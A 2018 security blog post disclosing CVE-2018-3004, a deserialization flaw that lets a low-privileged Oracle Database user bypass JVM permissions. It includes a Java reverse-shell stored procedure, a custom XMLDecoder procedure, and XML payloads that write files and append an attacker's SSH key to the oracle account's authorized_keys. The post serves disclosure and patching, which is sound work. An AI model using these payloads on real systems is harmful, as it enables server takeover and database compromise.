Wednesday, July 18, 2018

Oracle Privilege Escalation via Deserialization

TLDR:

Oracle Database is vulnerable to user privilege escalation via a java deserialization vector that bypasses built in Oracle JVM security.  Proper exploitation can allow an attacker to gain shell level access on the server and SYS level access to the database.

Oracle has opened CVE-2018-3004 for this issue.


Deserialization Vulnerabilities

Java deserialization vulnerabilities have been all the rage for the past few years.  In 2015, Foxglove security published an article detailing a critical security vulnerability in many J2EE application servers which left servers vulnerable to remote code execution.

There have been a number published exploits relying on Java deserializations since the 2015 Foxglove article, many based on the ysoserial library.  There have also been a number of CVEs opened, and patches issued to resolve these defects, including Oracle specific CVEs such as CVE-2018-2628, CVE-2017-10271, CVE-2015-4852

The majority of the published exploits focus on application servers vulnerable to deserialization attacks.  Today, however, I would like to explore Oracle Database and how it is vulnerable to a custom deserialization attack based on the tight integration of Java via Java Stored Procedures in Oracle Database.

The examples in this post were created using Oracle 12C, however, earlier versions of Oracle Database are also vulnerable.



Java Stored Procedures

Oracle Enterprise Edition has a Java Virtual Machine embedded into the database and Oracle Database supports native execution of Java via Java Stored Procedures

create function get_java_property(prop in varchar2) return varchar2
   is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';
/




Basic JVM Protections

Of course if you have some level of familiarity with Java and penetration testing, you may immediately leap to the notion of creating a reverse shell compiled within Oracle Database:

SET scan off

create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
   public static void getConnection(String ip, String port) throws InterruptedException, IOException{
      Runtime r = Runtime.getRuntime();
      Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
      System.out.println(p.toString());
      p.waitFor();
   }
}
/

create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
/
 
This approach will not work as the Oracle JVM implements fine grain policy-based security to control access to the OS and filesystem.  Executing this procedure from a low-permissioned account results in errors.


Note the error stack contains the missing permission and command necessary to grant the access:

ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER. The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' )

There have been previously reported methods to bypass the built-in Java permissions which will not be discussed in this post.  Instead I am going to demonstrate a new approach to bypassing these permissions via XML deserialization.

XML Deserialization

XML serialization and deserializtion exist in Java to support cross platform information exchange using a standardized industry format (in this case XML).  To this end, the java.beans library contains two classes:  XMLEncoder and XMLDecoder which are used to serialize a Java object into an XML format and at a later time, deserialize the object.

Typical deserialization vulnerabilities rely on the existence of a service that accepts and deserializes arbitrary input.  However, if you have access to a low-privileged Oracle account that can create objects in the user schema (i.e., a user with connect and resource) you can create your own vulnerable deserialization procedure.


As the "TESTER" user, I have created the following Java class "DecodeMe" and a Java Stored Procedure that invokes this class:

create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
    public static void input(String xml) throws InterruptedException, IOException {
  
      XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
      Object object = decoder.readObject();
      System.out.println(object.toString());
      decoder.close();      
 
    }
}
;
/

CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
    language java name 'DecodeMe.input(java.lang.String)';
/

The decodeme procedure will accept an arbitrary string of XML encoded Java and execute the provided instructions.  Information on the proper format for the serialized XML can be found here.  This block will simply call println to output data to the terminal.

BEGIN
 decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> 
<void method="println">
<string>This is test output to the console</string>
</void>
</object>
</java>');
END;
/


The Vulnerability

Of course we don't need a deserialization process to print output to the console, so how exactly is this process vulnerable?  It turns out that the deserialization process bypasses JVM permission settings and allows a user to arbitrarily write to files on the OS.  See the following example script:

BEGIN
   decodeme('
                <java class="java.beans.XMLDecoder" version="1.4.0" >
                   <object class="java.io.FileWriter">
                      <string>/tmp/PleaseDoNotWork.txt </string>
                      <boolean>True</boolean>
                      <void method="write">
                         <string>Why for the love of god?</string>
                      </void>
                      <void method="close" />
                   </object>
                </java>');
END;
/

Executing this anonymous block creates a file named "PleaseDoNotWork.txt" in the /tmp folder:


Therefore via deserialiazation, we can write arbitrary files to the file system, bypassing the built-in security restrictions.

Exploitation

As it turns out, we can not only write new files to the system, we can also overwrite or append any file on which the Oracle user has write permissions.  Clearly this has severe ramifications for the database, as an attacker could overwrite critical files - including control files - which could result in  a successful Denial of Service attack or data corruption.

However, with a carefully crafted payload, we can use this deserialization attack to gain access to the server as the Oracle user.

Assuming SSH is open on the server and configured to accept RSA connections, the following payload will append an RSA token to the Oracle account that manages the database processes.

BEGIN AUTHKEY
BEGIN
    decodeme('
                        <java class="java.beans.XMLDecoder" version="1.4.0">
                                <object class="java.io.FileWriter">
                                         <string>/home/oracle/.ssh/authorized_keys</string>
      <boolean>True</boolean>
                                <void method="write">
                                         <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>
                                </void>
                                <void method="close" />
                                </object>
                        </java>
                        ');
END;
/

When executed, the code will append an arbitrary RSA key to the Oracle users authorized_keys file, granting an attack SSH access as the Oracle user.


The Oracle user can access the database as SYS and the attacker has effectively compromised the entire database.


Impact

As Oracle Database has a high per instance cost, many production architectures rely on a shared-tennant model, where multiple mission applications leverage the same database, and application support users share access to the same system.  Furthermore, Oracle Exadata implementations often host multiple database instances on the same severs.

If a low privileged user, perhaps a tier-III support admin for a specific application, were to deploy this exploit, they could effectively gain access to the data and applications supporting an entire enterprise.

Conclusion

As we can see the deserialization design pattern implemented in java continues to create a myriad of vulnerabilities.  Security analysts should look beyond J2EE based deserializiation attacks and consider attack vectors based on other embedded implementations.

Reporting Timeline.

This issue was first reported to Oracle Support in January 2018, and was addressed in the July 2018 CPU released on July 17th, 2018. 

Update: Navigating the intricacies of Oracle patches can be quite the challenge.  The Oracle bug for this vulnerability is Bug 27923353, and the patch is for the OJVM system.  For this POC, the proper patch is OJVM release update 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip)




 


No comments: